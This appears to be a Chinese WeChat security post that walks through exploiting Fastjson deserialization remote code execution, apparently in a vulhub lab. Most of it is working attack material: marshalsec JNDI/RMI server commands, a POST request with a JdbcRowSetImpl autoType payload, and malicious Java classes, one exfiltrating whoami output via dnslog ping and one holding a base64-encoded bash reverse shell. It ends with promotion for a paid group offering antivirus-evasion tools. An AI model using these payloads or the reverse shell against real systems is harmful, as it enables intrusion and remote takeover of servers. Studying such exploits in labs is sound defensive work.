由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
免责声明
1.基于属性2.基于 setter/getter
提供 RMI 包。RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 "marshalled" 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 "unmarshalled")上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调用方。
Fastjson <=1.2.24 反序列化远程命令执行漏洞Fastjson <=1.2.41 反序列化远程命令执行漏洞Fastjson <=1.2.42 反序列化远程命令执行漏洞Fastjson <=1.2.43 反序列化远程命令执行漏洞Fastjson <=1.2.45 反序列化远程命令执行漏洞Fastjson <=1.2.47 反序列化远程命令执行漏洞Fastjson <=1.2.62 反序列化远程命令执行漏洞Fastjson <=1.2.66 反序列化远程命令执行漏洞
Fastjson反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
sudo apt install maven1.wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz2.mkdir /opt/maven3.tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/4.vim /etc/profile5.export MAVEN_HOME=/opt/maven/apache-maven-3.6.3export PATH=$MAVEN_HOME/bin:$PATH (在profile文件最下方添加)6.source /etc/profile (使其生效)7.mvn -version (验证是否成功
1.git clone https://github.com/mbechler/marshalsec.git2.cd marshalsec/3.mvn clean package -DskipTests(编译工具)4.cd target/5.java-cp marshalsec-0.0.3-SNAPSHOT-all.jar6.marshalsecjndiRMIRefServer"http://(启动python服务的ip):(启动python服务的端口)/#dnslog"999
1.cd vulhub2.cd fastjson3.cd 1.2.24-rce4.docker-compose up -d
import java.lang.Runtime;import java.lang.Process;public class fastjson{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
Python3 -m http.serverjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://python开启的http服务IP:PORT/#恶意class文件类名POST / HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1{"b":{"@type":"com.sun.rowset.JdbcRowSetlmpl","dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名","autoCommit":ture}}
import java.lang.Runtime;import java.lang.Process;public class fastjson{static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT}}}
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读